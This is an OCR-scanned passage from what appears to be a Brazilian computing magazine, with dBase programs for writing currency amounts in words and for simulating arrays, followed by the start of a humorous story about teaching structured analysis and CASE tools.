zena ou a unidade, ou as duas, forem 
diferentes de zero, nós escrevemos 
com Por exemplo: 1.123 e 5.607 e 

são grafados HUM MIL, CENTO E 
VINTE E TRÉS CRUZEIROS e CINCO 
MIL, SEISCENTOS E SETE CRUZEI¬ 
ROS. 

EXT = CENTENA (CM,DM,UM) + 
DEZENA (DM,UM) + UNIDADE 
("N",DM,UM) 

Este trecho forma o extenso da 
parte da unidade do número, cha¬ 
mando as funções de formação da 
string. Neste caso o flag da função de 
unidade está desativado, pois não es¬ 

crevemos HUM CRUZEIRO e sim UM 
CRUZEIRO. 

IF SUBSTR(STRN,1,6) = "000001" 
EXT = EXT + "CRUZEIRO" 

ELSE 

IF LEN(EXT) » 0 

EXT = EXT + "CRUZEIROS" 
ENDIF 

ENDIF 

O conjunto de decisões acima co¬ 
loca a unidade monetária no extenso. 
Se a parte inteira do valor for igual a 

um, a unidade ficará no singular, caso 
contrário efetuamos outro teste para 

ver se o tamanho da string de retorno Calcula o extenso da parte fracio- 
é maior do que zero (não havendo ex- nária do número. Neste caso o flag da 
tenso, o número é zero) e colocamos função unidade também está desli- 
a unidade monetária no plural. gado, pois não existe HUM CENTAVO. 

IF SUBSTR(STRN,8,2) » "00" 
Se a parte fracionária do número 

for maior que zero... 

| função é 
de uso geral, 

podendo ser 
usada por 
qualquer 
programa 

DZ = SUBSTR(STRN,8,1) 
UN = SUBSTR(STRN,9,1) 

...pega a dezena e a unidade do nú- 

IF LEN(EXT)»0 
EXT = EXT + "E" 

ENDIF 

Se o tamanho da string for maior 
do que zero (o número é maior do que 
zero) adiciona "E" à string (tantos cru¬ 
zeiros "E" tantos centavos). 

EXT = EXT + DEZENA (ZD,UN) + 
UNIDADE (”N",DZ,UN) 

EXT = EXT + 

IIF(SUBSTR(STRN,8,2)="01","CEN- 
TAVO","CENTAVOS") 

Completa o extenso colocando a 
terminação fracionária da unidade mo¬ 
netária corrente na string. Aqui tam¬ 

bém são respeitados o plural e o sin¬ 
gular da unidade monetária. 

ENDIF 

Finaliza o IF. A string está pronta. 

RETURN(EXT) 

Retorna a string. 

Eis o código de chamada da função: 
NUM = 102955.91 

A = EXTENSO(NUM) 
? A 

Para finalizar, não esqueça de exe¬ 
cutar os seguintes comandos antes de 
usar a função: 

SET DEBÜG OFF 
SET TRAP OFF 

SET TALK OFF 
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Função EXTENSO 

Funrao : FVTFNSO 

[).•>;cr i cao : 
Esta turcio recebe ub v ler cone iro 

n retorna o seu extenso uJànio » ir. "3a0c- »r- 
netar-a corrente. 

FUNCTION EXTENSO 

P Afi AflETERS NUftBER 
FRIVAIE STRN,Cn,On,Un,CT,DZ.UN.EXr.SIZE 
SET POINT TO ".“ 

STRN = LTRirfSTR(NUnBER,9.2)) 
SIZE r (.EN (STRN) 
STRN = REPL("0".7-SIZE) ♦ STRN 

CU » SUBSTR(STRN.!.I> 
DM = SUBSTR(STRN.2.1) 
JH ‘ SUBSTR(STRN.3.1> 
CT = SUESTP<STRN,4,i) 
OZ = SUBSTRt STRN.5,1) 
UN * SIIBSTRíSTRN.. & ,l> 

EXT = CENTrNAiCR.Oft.Un> * DEZENA < OH . U* > ♦ UNIDADE ( "S" .Ofl Ufl/ 

IF LE1K EXT) >0 
EXT “ EXT ♦ ■•niL " 
IF CT “0“ .AND. DZ = "0“ .AND. UN *= "0“ 

EXT - EXT ♦ "E " 
FISE 

IF CTO-O" .OR. DZO-O- .OR. UNO-O" 
EXT - EXT * ", " 

ENDIF 
ENDIF 

ENDIF 

EXT * EXT ♦ CENTENAICT,OZ.UN > * OEZENA(DZ.UN> ♦ UNIDADE<"N".DZ,UN> 

IF SUB3TR(STRN,1,ó> " "000001" 
EXT » EXT ♦ "CRUZEIRO " 

ELSE 
IF SUBSTR(STRN.1.6) "000000" 

EXT - EXT ♦ "CRUZEIROS " 
ENDIF 

ENDIF 

IF SUBSTRÍSTRN.fi.Z/^OO'' 
DZ * 5IIBSTR<STRN,S,1> 
UN » SUBS7 R í STRN * 9.1> 
IF LEN ' EXT > >0 

EXT » EXT ♦ "E “ 
ENDIF 
EXT ■ EXT ♦ DEZENA(DZ.UN) * UNIDADE <"N“.DZ.UN) 
EXT ■ EXT * IIF(SUBSTR(STRN,8»2)*"01"» “CFN’AVO ".“CENTAVOS "> 

ENDIF 

RETURN < EXT > 

FUNCTION CENTENA 
PARAflETERS C.D,U 
PRIVATE RESP .C.D.U 
DU CASE 

CASE C ■ "O" 
RESP ■ 

CASE C » "1" 
IF D * "0“ .AND. U ^ ”0“ 

RESP ■ "CEfl H 
ELSE 

RESP ■ "CENTO " 
ENDIF 

CASE C » "2" 
RESP - “DUZENTOS " 

CASE C « "3" 
RESP b "TREZENTOS “ 

CASE C = "A" 
RESP * "QUATROCENTOS " 

CASE C * “5" 
RESP » "QUINHENTOS - 

CASE C • a6" 
RESP = “SEISCENTOS " 

CASE C = "7" 
RFSP « "SETECENTOS " 

CASE C = “8“ 
RESP = "OITOCENTOS “ 

CASE C = "9“ 
RESP = “NOVECENTOS ” 

ENDCASE 
IF <D>“0“ .OR. U>"0,,> .AND. C>"0" 

RESP = RESP + “E " 
ENDIF 
RETURN (RESP) 

FUNCTION DEZENA 
PARAI1ETERS D.U 
3RIVATE RESP.D-U 
DO CASE 

CASE D = “0" 
RESP = 

CASE D = “1" 
00 CASE 

CASE U = “0“ 
RESP = “DEZ “ 

RESP 
CASE U 

RESP 
CASE U 

RESP = "TREZE " 
CASE U * ”4" 

RESP = “QUATORZE " 
CASE U = "5“ 

RESP = "QUINZE " 
CASE U - “4" 

RESP - "DEZESSEIS 
CASE U * "7“ 

RESP 
CASE U 

RESP » "OEZOITO " 
CASE U « “9" 

RFSP = “DEZENOVE 
ENDCASE 

CASE D 
RESP 

CASE D » “3" 
RESP » "TRINTA " 

CASE D - “* V 
RESP » "QUARENTA " 

CASE D r "5" 
RESP *> "CINQUENTA 

CASE D * "6" 
RESP - "SESSENTA “ 

CASE 0 - "7- 
RESP * “SETENTA " 

CASE 0 * "8“ 
RESP * "OITENTA " 

CASE D • "9" 
RESP • "NOVENTA " 

ENDCASE 
IF DV111 .AND. U>“0" 

RESP - RESP ♦ -E " 
ENDIF 
RETURN (RESP) 

••3" 

= "8" 

VINTE 

FUNCTION UNIDADE 
PARAPlETERS FlAG.D.U 
PRIVATE RESP.FLAG.O.U 
DO CASE 

CASE U - "0“ .OR. 0-"l" 
RESP - 

CASE U = "1" 
RESP « IIF<FLAGB"S"."HUI1 ","Un “) 

CASE U ■ "2" 
RESP ■ "DOIS " 

CASE U > "3" 
RESP = "TRES " 

CASE U * 
RESP ■ "QUATRO ” 

CASE U ■ "5" 
RESP = "CINCO " 

CASE U = "A" 
RESP = "SEIS - 

CASE U - "7" 
RESP * “SETE " 

CASE U = “8" 
RESP * “OITO “ 

CASE U - "9“ 
RESP * “NOVE “ 

ENDCASE 
RETURN (RESP) 
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Simulação de matrizes 
Implemente seus programa em dBase com esta técnica 

de simulação de matrizes 

Mauro Steigleder 

Você já deve ter se deparado várias vezes com situações 
que necessitem o uso de matrizes e, obviamente, ter per¬ 
cebido o quanto é desconfortável e trabalhoso resolveria 
situação sem o auxilio destas, principalmente se a dimenção 

da matriz é definida durante a execução do programa atra¬ 
vés de uma ou mais variáveis que possuem um valor sem 

limite prévio. A situação torna-se ainda mais trabalhosa 
se a dimensão da matriz é muito grande, exigindo um nú¬ 
mero imenso de variáveis a serem definidas e, conseqüen- 
temente, uma enorme quantidade de espaço perdido no 
programa. O dBase III+ , o dBase II e o III, não possuem 
nenhum comando ou função que manipule matrizes, 
mesmo as unidimensionais; então o que se pode fazer para 

resolver tal problema com o menor trabalho possível? 
O dBase 111+ possui uma função denominada macro 

(Et) cuja finalidade é substituir o nome da variável pelo seu 
conteúdo. Um exemplo claro do funcionamento desta 

função poderia ser o seguinte: 

. QUANT = 123.45 

123.45 
.X ="QUANT" 
QUANT 
. ? & X 
123.45 

Inicialmente armazena-se qualquer valor na variável 
QUANT e cria-se uma variável intermediária (no caso X), 

cujo valor é a string "QUANT". Desta forma a função ma¬ 
cro simplesmente substitui o valor da variável intermediá¬ 
ria X pelo seu conteúdo, ou seja, a string "QUANT . Este 
fato resulta em substituir ? &X por ? QUANT (observe que 
a função macro somente pode ser usada substituindo uma 

variável caracter). Tendo bem clara essa idéia sobre a função 
macro, podemos começar a explicar como simular uma 

matriz no dBase III + . 
Começamos inicialmente criando uma variável-índice 

(por exemplo IND), cujo valor numérico pode variar entre 
zero e a dimensão da matriz (por exemplo MAT) e adicio¬ 
namos o valor (transformado para string) da variável-índice, 

colocando o resultado em uma variável intermediária. Pode 
se fazer como no programa ao lado: 

ind = 0 && índice inicial da matriz 
DO WHILE ind < = 9 && a dimensão da matriz é 9 
matx = "MAT'+STR(ind,D && variável intermediária contém 
Etmatx = "Micro Sistemas" o nome da matriz e o seu índice 

ind = ind + 1 

ENDDO 
SUSPEND 

Que equivaleria ao seguinte programa em Basic: 

DIM MAT$(9) 
FOR IND = 0 TO 9 
MAT$(IND) = "Micro Sistemas" 

NEXT IND 

END 

Ou seja, o programa porá a string "Micro Sistemas" 
em todos os elementos entre 0 e 9 da matriz MAT. 

Entretanto deve-se tomar muito cuidado pois, para ca¬ 

sos em que a dimensão da matriz é superior a nove, deve- 
-se fazer uma pequena rotina de conversão de valores, já 
que uma variável não pode conter espaços no seu nome. 

Essa rotina de conversão pode ser semelhante a rotina 

abaixo: 

a) Se a dimensão for inferior a 100: 

IF ind < 10 
indx = STFttind,1) && valores entre 0 a 9 

ELSE 
indx = STR(ind.2) && valores entre 10 a 99 

ENDIF 

b) Se a dimensão for inferior a 1000: 

IF ind < 10 
indx = STR(ind.l) && valores entre 0 e 9 

ELSE 
IF ind < 100 

indx = STR(ind,2) && valores entre 10 e 99 

ELSE 
indx = STR(ind^) &£t valores entre 100 e 999 

ENDIF 
ENDIF 
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*«»*«*»*«»»»»«#*»********»»»«*** 
,»«**PROGRAMA DEMONSTRATIVO***** 
««*«.**,«SOBRE MATRIZES********* 
***#*.*«*« *********************** 

SET TALK OFF 
SET STATUS OFF 
SET DECIMALS TO 2 
SET CÜNFIRM ON 
dimensão = SPACE<2> 
ponteiro = 0 
intermed = 0 
flag - .T. 

***ROTINA DE ENTRADA DOS DADOS** 

CLEAR 
DO WHILE -T. 

@4.10 SAY "Quantos numeros quer ordenar" GET dimensão 

dimensão = VAL(diaensao) 
dimensão = dimensão - I 
IF dimensão > 0 

EXIT 
ENDIF 

ENDDO 
CLEAR 
DO WHILE ponteiro <= dimonsao 

IF ponteiro < 10 
indx=STR(ponteiro,1) 

ELSE 
indx=STRCponteiro.2) 

ENDIF 
ratx="MAT"+indx 
&matx = 0 
INPUT " Digite o "•STRCpcnteiro+1,2>»"o. numero: “ TO Smatx 
ponteiro = ponteiro *1 

ENDDO 

»«**»*ROTINA DE ORDENACAO****** 

DO WHILE flag 
ponteiro = 0 
flag = .F. 
DO WHILE ponteiro <= dimensão - 1 

IF ponteiro < 9 

Figura 1 

E assim por diante até o valor desejado. A mesma téc- simulação destas no dBase III+ . 

nica pode ser utilizada para matrizes bi e tridimensionais, Ao rodar o programa no dBase III + , com o comando 
somente mudando a quantidade de variáveis-índice a se- DO, não se assuste se o programa aparentar ter "trancado", 
rem somadas à variável que contém o nome da matriz. pois a função macro torna o programa um pouco mais 
Entretanto, deve-se ressaltar que as variáveis no dBase 111+ lento. Caso você insira um valor relativamente alto para 

podem ter somente uma extensão de 10 caracteres. As- a dimensão da matriz, a ordenação demorará bastante, 
sim, deve-se atentar para o tamanho da variável interme- mas, se você possui compilador CLIPPER, a velocidade 
diária. do programa se elevará significativamente. 

Segue, na figura 1, um programa demonstrativo de como Bem, se você agora tem uma idéia de como se pode 
se pode simular uma matriz. O programa pede um nú- simular uma matriz no dBase III+, já pode implementar, 
mero entre 1 e 99 (que será a dimensão da matriz), e logo melhorar e tornar muito menos trabalhosos os seus pro- 
após pede para entrarmos com todos os valores desta ma- gramas em dBase 111 +. ■ 
triz. Então ordena-a em ordem crescente e a seguir im-__ _ __ 

prime os seus valores ordenados, parando a cada tela cheia MAURO steigleder estuda Análise de Sistemas na 

e esperando que se tecle algo. E um programa clássico UNISINOS-RS e é autodidata em informática. Programa em Ba- 

sobre matrizes mas que serve muito bem para ilustrar a sic, Coboi, Pascal, Assembier e dBase. 

indxl = STRCpontei.ro, 1) 
indx2 = STRCponteiro+1,1) 

ELSE 
IF ponteiro = 9 

indxl = -9- 
indx2 = -10- 

ELSE 
indxl = STR(ponteiro,2) 
indx2 = STRCponteiro*1.2) 

E8DIF 
ENDIF 
aatxl = “MAT'*indxl 
ratx2 = "MAT”*indx2 
IF A=atx2 < ânatxl 

interned = &natx2 
&rsatx2 = Anatxl 

flag = .T. 
ENDIF 
ponteiro = ponteiro + 1 

ENDDO 
ENDDO 

*.*«*«ROTINA DE IMPRESSÃO****** 

ponteiro = 0 
clear 
? " Os valores en orden crescente sao:" 
DO WHILE ponteiro <= dinensao 

IF ponteiro < 10 
indx = STRCponteiro,1> 

ELSE 
indx = STRCponteiro.2) 

ENDIF 
natx = MAT“+indx 
? " +STRC&eatx,10.2) 
IF ponteiro/22=IN?Cponteiro/22) .AND. dinensao>23 .AND. pont 

eonf = “ “ 
SET CONFIRM OFF 
•24,34 SAY Tecle algo’ GET conf 
READ 
CLEAR 

ENDIF 
ponteiro = ponteiro ♦ 1 

ENDDO 
RETURN 
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SomeWare 
Uma visão humana e bem-humorada sobre o aprendizado 
de temas cruciantes da informática 

Ricardo Ghirlanda 

Difícil. Desesperadora. 0 instrutor 
via assim a situação em que se colo¬ 
cara ao aceitar a missão de incutir nos 
empregados da SomeWare, empresa 
de desenvolvimento de sistemas, os 
conceitos básicos de metodologia es¬ 

truturada, métrica, CASE e inteligên¬ 
cia artificial. 

- Estruturada no quê, mesmo? 

Alberto, atrasado para o início da 
primeira aula, nem imaginou que a me¬ 
lhor coisa a fazer era ficar invisível no 
fundo da sala de reuniões, transfor¬ 
mada em sala de aulas durante aquela 
semana. Ele não via, como os demais 
empregados da SomeWare, o menor 
sentido em estar ali. Afinal, já tinha 
seis anos de experiência em desenvol¬ 
vimento de sistemas. Menos que Ba- 
riccelli, neto de italianos, que jurava 
que "melhor que uma pizza, só duas!" 
e já apresentava um curriculum de 9 

anos, sem contar o tempo que havia 
gasto na universidade num curso in¬ 
completo de administração, onde teve 

seu primeiro contato com um compu¬ 
tador e descobriu que preferia 

programá-lo a usá-lo como ferramenta. 
Havia o tal de Charles (por alguma 

razão o instrutor achava que aquele 
nome era apelido), especialista em co¬ 
municação de dados. Pelo menos foi 
assim que ele se apresentou (era so¬ 
brinho do dono). 

Delamarte era o "boy". Garoto in¬ 

teligente e esforçado, estava tendo 
uma chance de passar a integrar a 
equipe de desenvolvimento da Some¬ 

Ware. 
Havia dois outros, Edu e Fred, plei¬ 

teando um estágio, válido para o curso 

de graduação que faziam. 

Zelda era a secretária. O instrutor 
não sabia o que ela estaria fazendo ali. 

Mas estava presente. 

O instrutor recomeçou: 

- "Estruturada" é a metodologia de 
especificação, análise, desenvolvi¬ 
mento e implantação de um sistema. 
Dependendo de como a análise for es¬ 
truturada, o sistema que o cliente - o 
usuário - encomendou, pode vir a ser 

uma maravilha: não só atendendo a 
todos os seus pedidos mas incluindo 
facilidades que nem imaginaria possí¬ 
veis. Pode vir a ser um elefante branco, 
difícil de ser implantado e operado, 
como pode, simplesmente, nem che¬ 

gar a ser, a existir. 

Falou de um só fôlego, achando que 
havia plantado alguma semente. 

- Estou me lembrando daquele sis¬ 
tema que a Tecidos Guanabara queria 
para controle de estoque. Até hoje fa¬ 
zemos manutenção no miserável... 

- Que manutenção, que nada, Al¬ 
berto, corrigiu Bariccelli, o nome é "re¬ 

mendo", mesmo. 

Bem. Pelo menos a interrupção 
mostrava que o interesse despertado 

poderia ser canalizado para... 

- Pô, cara! Como é que eu ia lá sa¬ 
ber que o sujeito aos poucos come¬ 

çaria a pedir um monte de relatórios?! 

- Professor, envenenou Charles, um 
trabalho de análise melhor elaborado 
não poderia prever todas as necessi¬ 

dades do cliente? 

-Certo! Era por aí que eu gostaria... 

- Eu aposto que eu perceberia, lo- 
guinho, as necessidades do cliente... 

Depois das risadas sem graça pelo 
aparte de Zelda, o instrutor continuou: 

- O processo de levantar as neces¬ 
sidades do usuário, às vezes desco¬ 
brindo que podemos auxiliá-lo ainda 
mais do que ele próprio imaginaria pos¬ 
sível, através de reuniões sistemáticas, 

é parte da análise estruturada. Veja¬ 
mos o seguinte: reuniões informais, 
sem uma espécie de ata, limitam o ana¬ 
lista à sua memória. Mesmo que não 
se imponha muita formalidade, é pos¬ 
sível se valer da ata (que será mais 
tarde, além de fonte de informações, 
um documento defensivo), somada a 

uma ferramenta que descreva grafica¬ 
mente o fluxo dos dados, conforme 
eles forem aparecendo no diálogo do 
cliente com o analista. Esta ferramenta 
pode passar a ser de uso comum en¬ 
tre o analista e o cliente - desde que 
seja facilmente compreendida, sem 
chance de interpretações dúbias, nem 
de componentes difíceis de serem 
apontados mais tarde, durante um con¬ 
tato telefônico. Tom de Marco é muito 

bom em sua... 

- Tom de que?! Tipo marco de es¬ 
trada? Verde? É algum tipo de papel? 
Um formulário especial? 

0 instrutor teve que dar duas ou três 
respiradas. Afinal Zelda não tinha 
culpa... A culpa era dele mesmo por 
não ter proposto uma seleção da au¬ 

diência. 

- Tom de Marco, um brilhante pales- 
trista, de idéias claras e organizadas, 
uniu forças com uma empresa, a Your- 
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don Inc. e... se você quer saber, Zelda, 
dono da coleção de gravatas mais vis¬ 
tosas que já se viu... Mostrou ser um 

líder de primeira linha quanto a semi¬ 
nários, capaz de se expressar com uma 
franqueza tremenda e de uma vontade 
imensa de aprender com seus alunos. 
Em seu livro "Análise Estruturada e Es¬ 
pecificação de Sistemas", apresentou 
o que ele achava que seria uma boa 
ferramenta gráfica para mostrar como 
os dados caminhavam por um sistema. 
Ele a chamou de DFD (escreveu as le¬ 

tras no quadro atrás de si). Estas letras 
são as iniciais de Diagrama de Fluxo 
de Dados. Diferente dos fiuxogramas 
que vocês estão acostumados a ver 
e cansados de desenhar, os DFD mos¬ 
tram fluxos de dados e não os contro¬ 

les sobre os dados. Não importa como 
os dados são processados mas, sim, 
por onde eles passam. 

- Mais ou menos como "a pizza é 
feita com o quê", ao invés de "prepara- 

-se uma pizza assim e assado", certo? 

- Isto, Bariccelli! Mas trata-se, ape¬ 
nas, de uma das ferramentas à dispo¬ 
sição de um analista de sistemas na 
primeira fase do seu trabalho: a de le¬ 
vantamento das necessidades do 
cliente, demarcando onde cada dado 
entra em campo. 

- Ah!... Este Marco deve ser joga¬ 
dor de futebol... Será que alguma das 
suas gravatas é assinada pelo Falcão? 
Que gracinha!... 

0 instrutor nem virou o olhar para 
a Zelda. 

- Muito bem. De posse do material 
(as atas das reuniões e dos DFD dis¬ 
cutidos com o cliente) e do seu pró¬ 
prio sentimento a respeito do cliente, 
o analista dá início à fase de análise 
dos dados. Esta fase é crítica e ele 
deve, 
sempre que achar necessário, tornar 
a entrar em contato com o cliente de 
modo a não restar qualquer dúvida a 
respeito de algum dado ou se perceba 
que algum dado foi omitido pelo 
cliente. 

- Mas o cliente pode deixar de in¬ 
formar alguma coisa? Se isto aconte¬ 
cesse, ele estaria jogando contra ele 

mesmo... 

- Sim, isto realmente acontece; in¬ 
felizmente, mais vezes do que gosta¬ 
ríamos. Às vezes por mera distração, 
às vezes porque o cliente costuma dar 

mais valor a determinado dado e me¬ 
nos ou nenhum a outro. Existem di¬ 
versos fatores que levam à omissão da 
informação. Por isso, o especialista 

deve analisar com muito cuidado o ma¬ 
terial nesta fase. Qualquer falha neste 

aspecto pode implicar em um sistema 
que tenha que ser jogado no lixo. 

- De volta à velha prancheta? 

- Pois é. Ou se sujeitar aos "remen¬ 

dos", Alberto. Acontece que isto é, no 

mínimo, contraproducente. 0 tempo 
que um analista emprega fazendo al¬ 
terações, certamente poderia estar 
sendo utilizado em outros projetos. Na 
realidade eu pertenço à escola do 
"pense antes". Como não sou privile¬ 
giado com poderes paranormais que 

me permitam ler pensamentos ou pre¬ 
ver o futuro, prefiro analisar com cui¬ 
dado os dados levantados durante en¬ 
trevistas bem conduzidas, preparar um 

Documento Alvo que esteja o mais 
próximo possível daquele que meu pró¬ 
prio cliente prepararia se fosse ele o 
analista. 

Neste ponto o instrutor percebeu 
Edu e Fred prestes a se manifestarem 
e esperou. 

- Documento Alvo? perguntaram 
em uníssono. 

Gratificanta Pelo olhar de todos, o 
instrutor percebia que havia captado 
o interesse pelo assunto e a primeira 
manifestação dos dois estagiários. 

- Documento Alvo é o nome dado 
ao documento que especifica o projeto 
em termos de funcionalidade. Mas es¬ 
tamos nos adiantando. Em geral, os 
resultados dos levantamentos são agre¬ 

gados em algo chamado Documento 
de Viabilidade, Documento de Requi¬ 
sitos Técnicos ou algum outro nome 
assim. Ainda nesta segunda fase, con¬ 
tamos com duas entradas: o 
Documento de Viabilidade e, nova¬ 
mente, o fluxo de dados levantado di¬ 

retamente junto ao cliente. Estas en¬ 
tradas se transformam na principal sa¬ 
ída da fase de análise, o Documento 
Alvo, também chamado de Especifi¬ 

cação Funcional. Outras saídas possí¬ 
veis seriam orçamento, cronograma e 
qualquer tipo de informação quanto 
aos requisitos físicos, necessários ao 
estudo do hardware a ser envolvido. 
A Especificação Funcional ainda passa 
pelo Projeto Preliminar, onde se projeta 
o sistema em si, em termos externos 

e filosóficos. É nesta fase ainda que 
se vêem as necessidades de configu¬ 
ração e desempenho. Durante a fase 
de Projeto Preliminar, selecionam-se 

os módulos, desenha-se o fluxograma 
(ou algo equivalente), redige-se algum 
tipo de narrativa sobre cada módulo 

e esquematizam-se as áreas de dados 

e tabelas mais importantes. Geral¬ 
mente é nesta fase que são prepara¬ 
dos os planos de teste. Finalmente, 
vem a fase de detalhação do projeto, 
onde aparecem as especificações dos 
programas. 

- Professor! Se os planos para tes¬ 
tes já são definidos durante a fase dita 
"preliminar", os programas ainda não 

estão especificados, certo? Então 
como se pode saber o que testar nos 
programas? 

A pergunta de Alberto certamente 
era um bom gancho para que o instru¬ 
tor propusesse o fim das atividades do 
dia, deixando a sugestão para que os 
outros tentassem, cada um por si, res¬ 

ponder. Prometeu que no dia seguinte 
explicaria esta situação e, veriam, se¬ 
ria o melhor momento para isto. Cer¬ 
tamente não lhe faria mal que o rapaz 
se pavoneasse um pouco com os co¬ 
legas por ter, como acreditava, "encos¬ 
tado o professor na parede". 

*** 

No dia seguinte, apesar da turma 
nem ter se preocupado com o mo¬ 
mento exato para se definir os planos 
de teste, o instrutor apresentou a se¬ 
guinte figura: ► 

olhar de todos; o instrutor percebia que 

havia captado o interesse pelo assunto e a 

primeira manifestação dos dois estagiários 
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ORÇAMENTO E 
CR0N06RAMA 

ESPECIFICAÇÃO 
DE SISTEMA 

ESPECIFICAÇÃO 
DE PROGRAMA 
(para (uk d» 

iaplnrataçio) 

- Imaginem, começou, que este de¬ 
senho simbolize os passos que um ana¬ 

lista deva dar durante seu trabalho para 
um cliente. (E passou a explicar deta¬ 

lhadamente cada item do desenho, res¬ 
saltando que as setas mostravam os 
fluxos dos dados e que os círculos sig¬ 
nificavam alguma atividade do ana¬ 
lista.)... Reparem que durante o Pro¬ 
jeto Preliminar, ainda se tem uma visão 
do todo, visão esta que não é dada ao 
programador. Ele não tem como sa¬ 
ber o que o cliente precisa. Sabe ape¬ 

nas que seu programa tem tais entra¬ 
das, que as processa de tal ou tal 

modo, fornecendo tais saídas. Mas o 
que para ele parecem boas saídas, po¬ 
dem ser apenas lixo para o cliente Uma 
frase muito comum, certamente cu¬ 
nhada por um analista querendo se jus¬ 

tificar por um mal projeto, diz que "se 
entra lixo, sai lixo". No entanto, por um 
descuido deste analista, um programa, 
apesar de bem confeccionado, pode 

ter bons dados de entrada e não for¬ 
necer boas informações. Meramente, 

é bom frisar, por falta de visão do todo. 

O instrutor sabia que, mesmo fin¬ 
gindo não se lembrar da colocação de 
Alberto, havia dado sua réplica. Mais 
ainda: havia feito isto sem colocar Al¬ 

berto contra ele. Notara seu movi¬ 
mento desconfortável na cadeira, re¬ 

parou como acende j o cigarro, sem 
pressa, talvez pensando nas mesmas 

coisas que ele. 
Apresentou aos alunos o retângulo, 

representando entidades externas e o 
par de retas paralelas, que seriam os 
depósitos de dados ou arquivos. 

E continuou sua aula, explicando 
o resto do ciclo de vida de um projeto 
tradicional, apenas para que, fazendo 
correlações, os alunos pudessem ver 

mais qualidades na estruturação, 
mesmo nas fases de codificação, 
teste de unidades, teste de subsis 
temas, integração, teste de sistema, 
teste de aceitação ou homologação, 
terminando por conselhos durante a 

fase em que o sistema entraria em 
produção normal, já com o cliente 
treinado, sendo assistido pela em¬ 

presa. 

*** 

No dia seguinte, depois de propor 
os formulários de Elementos de Dados, 

de Nome de Fluxo de Dados, de En¬ 
tidades Externas, de Descrição do Pro¬ 

cesso, de Depósito de Dados e outros 
que os próprios alunos idealizaram 
como de Acompanhamento de Fases, 
Anotações sobre os Testes e Propo¬ 
sições de Melhorias, o instrutor pas¬ 
sou a falar sobre um assunto que os 
mais chegados à arte da profissão de¬ 

testam: métrica. 

- Um dos maiores problemas que 
paira como fantasma sobre um projeto 
é a atividade de dimensionamento dos 
recursos necessários ao desenvolvi¬ 
mento de um sistema. A falta de fer¬ 
ramentas para nos ajudar a estimar 

tempo, dinheiro, número de pessoas 
envolvidas, etc, nos leva a inventar fór¬ 

mulas mágicas... 

- Ih, professor! Ainda bem que o se¬ 
nhor falou de mágica e me lembrou: 
tenho hora marcada com minha astró¬ 
loga. Se me dá licença... 

E lá se foi a Zelda, balançando-se 
corredor afora sobre seu par de saltos 
agulha, acompanhada pelo olhar em¬ 

basbacado do instrutor. 

- Bem. A mágica... não! As fórmu¬ 
las mágicas são, na realidade, tentati¬ 
vas de se estimar, a priori, o custo to¬ 

tal do projeto. Afinal o departamento 
comercial da empresa de desenvolvi¬ 
mento de sistemas precisaria apresen¬ 

tar uma proposta ao cliente antes de 
começar a trabalhar no projeto. Nem 
é bom pensar no que aconteceria a 
uma empresa que sempre sub ou su¬ 
perestimasse seus custos! Por não se 
ter qualquer base matemática para tais 
estimativas o que acontece é que, nor¬ 

malmente, as propostas apresentam 
uma certa dose de exagero em seus 
custos. O suficiente para que o cliente 
ainda a aceite, mas não cara demais, 

a ponto de nunca se ter clientes. Para 
uma empresa que está começando, 
esta é uma das partes difíceis. A forma 
mais utilizada pelas empresas mais ex¬ 
perientes é baseada no seu próprio his¬ 
tórico. Analisando-se seus orçamentos 
passados, estima-se um valor cada vez 
mais acurado para cada novo projeto, 
num processo que vai se aprimorando 

pouco a pouco. Acaba aparecendo um 
"especialista em chutes". 

- Se a Zelda estivesse aqui, certa¬ 
mente iria falar alguma coisa sobre o 
Falcão, lembrou Delamarte. 

- Bem. Fiquemos por aqui. Ama¬ 

nhã falaremos sobre as diversas ferra¬ 

mentas CASE. 

*** 

O instrutor chegou cedo. Tinha que 
preparar o microcomputador que a So- 
meWare já tinha na sala de reuniões, 
de forma a sediar alguns dos softwa¬ 

res de CASE que havia trazido. Deixou 
um retroprojetor preparado com uma 
transparência onde se lia apenas 
"CASE", em letras garrafais que ele 
mesmo havia confeccionado, para in¬ 
cutir a sigla visualmente nas mentes 

dos alunos. Quando todos entraram 
e se sentaram, acendeu a lâmpada do 
retroprojetor. A conversa foi diminuindo 
rapidamente e ele perguntou: 

- Algum de vocês sabe o que é ou 

para que serve isto? 

As tentativas de resposta foram mais 
ou menos desta ordem: 

- Uma técnica de casar informações, 
disparou Delamarte. 

- Qualquer coisa romântica, suspi¬ 

rou Zelda. 
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Alberto tentou cochichar a Baric- 
celli, a seu lado, perguntando o que 
diabos poderia ser aquilo. Este último, 
ainda com seu ",lanchinho" de uma 
pizza grande com refrigerante consu¬ 
mindo boa parte de seu metabolismo, 
limitou-se a emitir um grunhido. 

Charles, vendo que ninguém mais 
arriscaria um palpite, sentenciou: 

- Isto é C.A.S.E. ou "Computer Ai- 
ded Software Engeneering". 

incrível, pensou o instrutor. Peio 
visto ninguém quis acreditar nele! 

- Realmente, ensinou, CASE não 
tem nada a ver com o verbo "casar". 

Trata-se de uma sigla já adotada 
mundialmente, advinda das iniciais 
do termo em inglês "Computer 
Aided Software Engeneering", que sig¬ 
nifica, em primeira instância, "enge¬ 
nharia de sistemas auxiliada por com¬ 

putador". 

A palavra "advinda" ficou dançan 
do na cabeça de Zelda, que não se con¬ 
teve: 

- Todos os dias o professor fala 
em magia, adivinhos... Cada vez mais 
me convenço que este negócio de 
cérebro eletrônico tem qualquer parte 

com o canhoto! E por falar nisto, mi¬ 
nha astróloga disse... 

- Tá bem! Tá bem! (0 instrutor es¬ 
tava começando a achar que as coi¬ 
sas iriam por água abaixo...) As ferra¬ 
mentas de CASE são, como o Mosai¬ 
co I e o ATK, basicamente, soluções 
automatizadas de análise e projeto 
estruturado de sistemas, visando au¬ 
mentar a produtividade dos profissio¬ 
nais da área. Já existem ferramentas 
sofisticadas de CASE, altamente 

especializadas, que diminuem o traba¬ 
lho de programadores, analistas e 
de engenheiros de sistemas, bem 
como de executivos de todos os 

níveis e para empresas de todas as 
envergaduras, formas e estruturas. 
Elas provêem meios para ajudar no 
planejamento nas corporações; supor¬ 
tam analistas de sistemas em suas ta¬ 
refas de projeto e documentação; 
automatizam a codificação tediosa das 
rotinas mais comuns em programas. 
As ferramentas CASE representam 
uma filosofia simples para a modela¬ 
gem de negócios, suas atividades e de¬ 
senvolvimento de sistemas de infor¬ 
mação. 

E foi por aí. Falou dos três tipos de 
CASE: dos UpperCASE (trocadilho em 
inglês que significa letra maiúscula) 
para projetos de corporações, dos Mid- 

dleCASE, para análises de sistemas e 
